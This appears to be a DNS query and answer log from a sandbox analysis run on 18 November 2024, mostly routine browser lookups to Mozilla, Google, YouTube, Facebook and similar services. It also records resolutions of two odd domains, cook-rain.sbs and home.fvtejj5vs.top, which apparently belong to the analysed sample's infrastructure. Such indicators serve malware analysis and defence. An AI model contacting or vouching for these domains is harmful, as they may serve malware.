Nov 18, 2024 21:11:49.295396090 CET	192.168.2.4	1.1.1.1	0x9ae5	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:11:49.303924084 CET	192.168.2.4	1.1.1.1	0x846e	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 18, 2024 21:11:49.942249060 CET	192.168.2.4	1.1.1.1	0x570c	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:12:10.898947954 CET	192.168.2.4	1.1.1.1	0x590c	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 18, 2024 21:04:12.822645903 CET	1.1.1.1	192.168.2.4	0x1c40	No error (0)	cook-rain.sbs		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:04:12.822645903 CET	1.1.1.1	192.168.2.4	0x1c40	No error (0)	cook-rain.sbs		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:04:26.654645920 CET	1.1.1.1	192.168.2.4	0xf216	No error (0)	www.google.com		142.250.184.228	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:04:26.654798031 CET	1.1.1.1	192.168.2.4	0xde95	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 18, 2024 21:04:33.895329952 CET	1.1.1.1	192.168.2.4	0xe086	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:04:33.951142073 CET	1.1.1.1	192.168.2.4	0x8f89	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:04:35.435740948 CET	1.1.1.1	192.168.2.4	0xf6f7	No error (0)	youtube.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:04:35.435957909 CET	1.1.1.1	192.168.2.4	0x82c3	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 21:04:35.435957909 CET	1.1.1.1	192.168.2.4	0x82c3	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:04:35.445693970 CET	1.1.1.1	192.168.2.4	0xdd9b	No error (0)	youtube.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:04:35.456295967 CET	1.1.1.1	192.168.2.4	0x33d3	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:04:35.459722042 CET	1.1.1.1	192.168.2.4	0x777	No error (0)	youtube.com			28	IN (0x0001)	false
Nov 18, 2024 21:04:35.478473902 CET	1.1.1.1	192.168.2.4	0x2366	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Nov 18, 2024 21:04:37.492573023 CET	1.1.1.1	192.168.2.4	0x381d	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:04:37.493211031 CET	1.1.1.1	192.168.2.4	0x3779	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:04:37.498917103 CET	1.1.1.1	192.168.2.4	0xb3b0	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:04:37.498917103 CET	1.1.1.1	192.168.2.4	0xb3b0	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:04:37.504677057 CET	1.1.1.1	192.168.2.4	0x2cce	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 21:04:37.504677057 CET	1.1.1.1	192.168.2.4	0x2cce	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:04:37.506989956 CET	1.1.1.1	192.168.2.4	0x844c	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 21:04:37.506989956 CET	1.1.1.1	192.168.2.4	0x844c	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:04:37.510504961 CET	1.1.1.1	192.168.2.4	0xb2df	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:04:37.518842936 CET	1.1.1.1	192.168.2.4	0xa3d1	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 21:04:37.518842936 CET	1.1.1.1	192.168.2.4	0xa3d1	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:04:37.521867990 CET	1.1.1.1	192.168.2.4	0xa9b8	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:04:37.523142099 CET	1.1.1.1	192.168.2.4	0x5f69	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:04:38.856700897 CET	1.1.1.1	192.168.2.4	0x6f3b	No error (0)	home.fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:04:55.464904070 CET	1.1.1.1	192.168.2.4	0x2f8a	No error (0)	www.google.com		142.250.185.196	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:04:55.464915991 CET	1.1.1.1	192.168.2.4	0x653d	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 18, 2024 21:04:57.890986919 CET	1.1.1.1	192.168.2.4	0xc053	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 21:04:57.890986919 CET	1.1.1.1	192.168.2.4	0xc053	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	s-part-0032.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 21:04:57.890986919 CET	1.1.1.1	192.168.2.4	0xc053	No error (0)	s-part-0032.t-0009.t-msedge.net		13.107.246.60	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:04:57.891836882 CET	1.1.1.1	192.168.2.4	0x8b4e	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 21:04:57.891836882 CET	1.1.1.1	192.168.2.4	0x8b4e	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 21:04:57.891836882 CET	1.1.1.1	192.168.2.4	0x8b4e	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 21:04:57.891836882 CET	1.1.1.1	192.168.2.4	0x8b4e	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:04:57.892191887 CET	1.1.1.1	192.168.2.4	0xd7ea	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 21:04:57.929008007 CET	1.1.1.1	192.168.2.4	0x1beb	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 21:04:57.929008007 CET	1.1.1.1	192.168.2.4	0x1beb	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 21:04:59.843713999 CET	1.1.1.1	192.168.2.4	0x6e9e	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 21:04:59.845586061 CET	1.1.1.1	192.168.2.4	0xca3c	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 21:04:59.845586061 CET	1.1.1.1	192.168.2.4	0xca3c	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 21:04:59.845586061 CET	1.1.1.1	192.168.2.4	0xca3c	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:01.493927956 CET	1.1.1.1	192.168.2.4	0x297c	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:01.973403931 CET	1.1.1.1	192.168.2.4	0x65cb	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 21:05:01.973403931 CET	1.1.1.1	192.168.2.4	0x65cb	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:01.999752998 CET	1.1.1.1	192.168.2.4	0x21d3	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:02.022108078 CET	1.1.1.1	192.168.2.4	0xfe59	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 21:05:02.022108078 CET	1.1.1.1	192.168.2.4	0xfe59	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 21:05:02.022108078 CET	1.1.1.1	192.168.2.4	0xfe59	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:02.039366007 CET	1.1.1.1	192.168.2.4	0x5b44	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:02.061644077 CET	1.1.1.1	192.168.2.4	0x2d8d	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Nov 18, 2024 21:05:02.084553957 CET	1.1.1.1	192.168.2.4	0xa03d	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 21:05:02.190747976 CET	1.1.1.1	192.168.2.4	0x72ef	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:02.216316938 CET	1.1.1.1	192.168.2.4	0x3315	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:02.395914078 CET	1.1.1.1	192.168.2.4	0x1444	No error (0)	firefox.settings.services.mozilla.com	prod.remote-settings.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 21:05:02.395914078 CET	1.1.1.1	192.168.2.4	0x1444	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:02.404952049 CET	1.1.1.1	192.168.2.4	0x44e0	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 21:05:02.404952049 CET	1.1.1.1	192.168.2.4	0x44e0	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:02.564094067 CET	1.1.1.1	192.168.2.4	0x64e	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:03.540719032 CET	1.1.1.1	192.168.2.4	0xe2b0	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:03.551723957 CET	1.1.1.1	192.168.2.4	0x3ccd	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:03.562611103 CET	1.1.1.1	192.168.2.4	0x721c	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:04.134423971 CET	1.1.1.1	192.168.2.4	0x9511	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 21:05:04.134423971 CET	1.1.1.1	192.168.2.4	0x9511	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 21:05:04.134423971 CET	1.1.1.1	192.168.2.4	0x9511	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 21:05:04.134423971 CET	1.1.1.1	192.168.2.4	0x9511	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:04.134656906 CET	1.1.1.1	192.168.2.4	0xe97a	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 21:05:04.134656906 CET	1.1.1.1	192.168.2.4	0xe97a	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 21:05:05.916640997 CET	1.1.1.1	192.168.2.4	0x908d	No error (0)	support.mozilla.org	prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 21:05:05.916640997 CET	1.1.1.1	192.168.2.4	0x908d	No error (0)	prod.sumo.prod.webservices.mozgcp.net	us-west1.prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 21:05:05.916640997 CET	1.1.1.1	192.168.2.4	0x908d	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:05.925318956 CET	1.1.1.1	192.168.2.4	0x5859	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:07.073030949 CET	1.1.1.1	192.168.2.4	0xd3a4	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 21:05:07.073030949 CET	1.1.1.1	192.168.2.4	0xd3a4	No error (0)	youtube-ui.l.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:07.073030949 CET	1.1.1.1	192.168.2.4	0xd3a4	No error (0)	youtube-ui.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:07.073030949 CET	1.1.1.1	192.168.2.4	0xd3a4	No error (0)	youtube-ui.l.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:07.073030949 CET	1.1.1.1	192.168.2.4	0xd3a4	No error (0)	youtube-ui.l.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:07.073030949 CET	1.1.1.1	192.168.2.4	0xd3a4	No error (0)	youtube-ui.l.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:07.073030949 CET	1.1.1.1	192.168.2.4	0xd3a4	No error (0)	youtube-ui.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:07.073030949 CET	1.1.1.1	192.168.2.4	0xd3a4	No error (0)	youtube-ui.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:07.073030949 CET	1.1.1.1	192.168.2.4	0xd3a4	No error (0)	youtube-ui.l.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:07.073030949 CET	1.1.1.1	192.168.2.4	0xd3a4	No error (0)	youtube-ui.l.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:07.073030949 CET	1.1.1.1	192.168.2.4	0xd3a4	No error (0)	youtube-ui.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:07.073030949 CET	1.1.1.1	192.168.2.4	0xd3a4	No error (0)	youtube-ui.l.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:07.073030949 CET	1.1.1.1	192.168.2.4	0xd3a4	No error (0)	youtube-ui.l.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:07.073030949 CET	1.1.1.1	192.168.2.4	0xd3a4	No error (0)	youtube-ui.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:07.073030949 CET	1.1.1.1	192.168.2.4	0xd3a4	No error (0)	youtube-ui.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:07.073030949 CET	1.1.1.1	192.168.2.4	0xd3a4	No error (0)	youtube-ui.l.google.com		216.58.212.142	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:07.073030949 CET	1.1.1.1	192.168.2.4	0xd3a4	No error (0)	youtube-ui.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:07.073065042 CET	1.1.1.1	192.168.2.4	0x77e7	No error (0)	www.wikipedia.org	dyna.wikimedia.org		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 21:05:07.073065042 CET	1.1.1.1	192.168.2.4	0x77e7	No error (0)	dyna.wikimedia.org		185.15.59.224	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:07.073820114 CET	1.1.1.1	192.168.2.4	0xe86b	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 21:05:07.073820114 CET	1.1.1.1	192.168.2.4	0xe86b	No error (0)	star-mini.c10r.facebook.com		157.240.251.35	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:07.081837893 CET	1.1.1.1	192.168.2.4	0x36c6	No error (0)	youtube-ui.l.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:07.081837893 CET	1.1.1.1	192.168.2.4	0x36c6	No error (0)	youtube-ui.l.google.com		172.217.18.110	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:07.081837893 CET	1.1.1.1	192.168.2.4	0x36c6	No error (0)	youtube-ui.l.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:07.081837893 CET	1.1.1.1	192.168.2.4	0x36c6	No error (0)	youtube-ui.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:07.081837893 CET	1.1.1.1	192.168.2.4	0x36c6	No error (0)	youtube-ui.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:07.081837893 CET	1.1.1.1	192.168.2.4	0x36c6	No error (0)	youtube-ui.l.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:07.081837893 CET	1.1.1.1	192.168.2.4	0x36c6	No error (0)	youtube-ui.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:07.081837893 CET	1.1.1.1	192.168.2.4	0x36c6	No error (0)	youtube-ui.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:07.081837893 CET	1.1.1.1	192.168.2.4	0x36c6	No error (0)	youtube-ui.l.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:07.081837893 CET	1.1.1.1	192.168.2.4	0x36c6	No error (0)	youtube-ui.l.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:07.081837893 CET	1.1.1.1	192.168.2.4	0x36c6	No error (0)	youtube-ui.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:07.081837893 CET	1.1.1.1	192.168.2.4	0x36c6	No error (0)	youtube-ui.l.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:07.081837893 CET	1.1.1.1	192.168.2.4	0x36c6	No error (0)	youtube-ui.l.google.com		142.250.185.238	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:07.081837893 CET	1.1.1.1	192.168.2.4	0x36c6	No error (0)	youtube-ui.l.google.com		216.58.212.142	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:07.081837893 CET	1.1.1.1	192.168.2.4	0x36c6	No error (0)	youtube-ui.l.google.com		172.217.23.110	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:07.081837893 CET	1.1.1.1	192.168.2.4	0x36c6	No error (0)	youtube-ui.l.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:07.082222939 CET	1.1.1.1	192.168.2.4	0x556c	No error (0)	star-mini.c10r.facebook.com		157.240.253.35	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:07.083030939 CET	1.1.1.1	192.168.2.4	0x41b7	No error (0)	dyna.wikimedia.org		185.15.59.224	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:07.090257883 CET	1.1.1.1	192.168.2.4	0xd149	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 18, 2024 21:05:07.090257883 CET	1.1.1.1	192.168.2.4	0xd149	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 18, 2024 21:05:07.090257883 CET	1.1.1.1	192.168.2.4	0xd149	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 18, 2024 21:05:07.090257883 CET	1.1.1.1	192.168.2.4	0xd149	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 18, 2024 21:05:07.090559959 CET	1.1.1.1	192.168.2.4	0xdda1	No error (0)	star-mini.c10r.facebook.com			28	IN (0x0001)	false
Nov 18, 2024 21:05:07.091916084 CET	1.1.1.1	192.168.2.4	0xa901	No error (0)	dyna.wikimedia.org			28	IN (0x0001)	false
Nov 18, 2024 21:05:07.099492073 CET	1.1.1.1	192.168.2.4	0xe324	No error (0)	www.reddit.com	reddit.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 21:05:07.099492073 CET	1.1.1.1	192.168.2.4	0xe324	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:07.099492073 CET	1.1.1.1	192.168.2.4	0xe324	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:07.099492073 CET	1.1.1.1	192.168.2.4	0xe324	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:07.099492073 CET	1.1.1.1	192.168.2.4	0xe324	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:07.100274086 CET	1.1.1.1	192.168.2.4	0xfaad	No error (0)	twitter.com		104.244.42.129	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:07.107919931 CET	1.1.1.1	192.168.2.4	0xdcd2	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:07.107919931 CET	1.1.1.1	192.168.2.4	0xdcd2	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:07.107919931 CET	1.1.1.1	192.168.2.4	0xdcd2	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:07.107919931 CET	1.1.1.1	192.168.2.4	0xdcd2	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:07.108869076 CET	1.1.1.1	192.168.2.4	0x3fd1	No error (0)	twitter.com		104.244.42.129	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:27.780592918 CET	1.1.1.1	192.168.2.4	0xba7e	No error (0)	twitter.com		104.244.42.129	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:40.592366934 CET	1.1.1.1	192.168.2.4	0x96f8	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 21:05:40.592366934 CET	1.1.1.1	192.168.2.4	0x96f8	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:40.592926979 CET	1.1.1.1	192.168.2.4	0x14ec	No error (0)	youtube.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:40.682378054 CET	1.1.1.1	192.168.2.4	0xf66d	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:40.796921968 CET	1.1.1.1	192.168.2.4	0xe8e0	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 21:05:40.827979088 CET	1.1.1.1	192.168.2.4	0x5dea	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:40.836822987 CET	1.1.1.1	192.168.2.4	0xc1d1	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:41.014303923 CET	1.1.1.1	192.168.2.4	0x87f6	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 21:05:41.014303923 CET	1.1.1.1	192.168.2.4	0x87f6	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:41.017457962 CET	1.1.1.1	192.168.2.4	0xdb66	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:41.237067938 CET	1.1.1.1	192.168.2.4	0xd4c0	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 21:05:41.237067938 CET	1.1.1.1	192.168.2.4	0xd4c0	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:41.650075912 CET	1.1.1.1	192.168.2.4	0x438a	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:44.528080940 CET	1.1.1.1	192.168.2.4	0xbd0e	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 21:05:44.528080940 CET	1.1.1.1	192.168.2.4	0xbd0e	No error (0)	star-mini.c10r.facebook.com		157.240.0.35	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:44.529226065 CET	1.1.1.1	192.168.2.4	0x2f4d	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:44.529226065 CET	1.1.1.1	192.168.2.4	0x2f4d	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:44.529226065 CET	1.1.1.1	192.168.2.4	0x2f4d	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:44.529226065 CET	1.1.1.1	192.168.2.4	0x2f4d	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:44.536266088 CET	1.1.1.1	192.168.2.4	0x4c16	No error (0)	star-mini.c10r.facebook.com		157.240.252.35	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:05:44.544059038 CET	1.1.1.1	192.168.2.4	0xf6fa	No error (0)	star-mini.c10r.facebook.com			28	IN (0x0001)	false
Nov 18, 2024 21:05:58.313894033 CET	1.1.1.1	192.168.2.4	0x508b	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
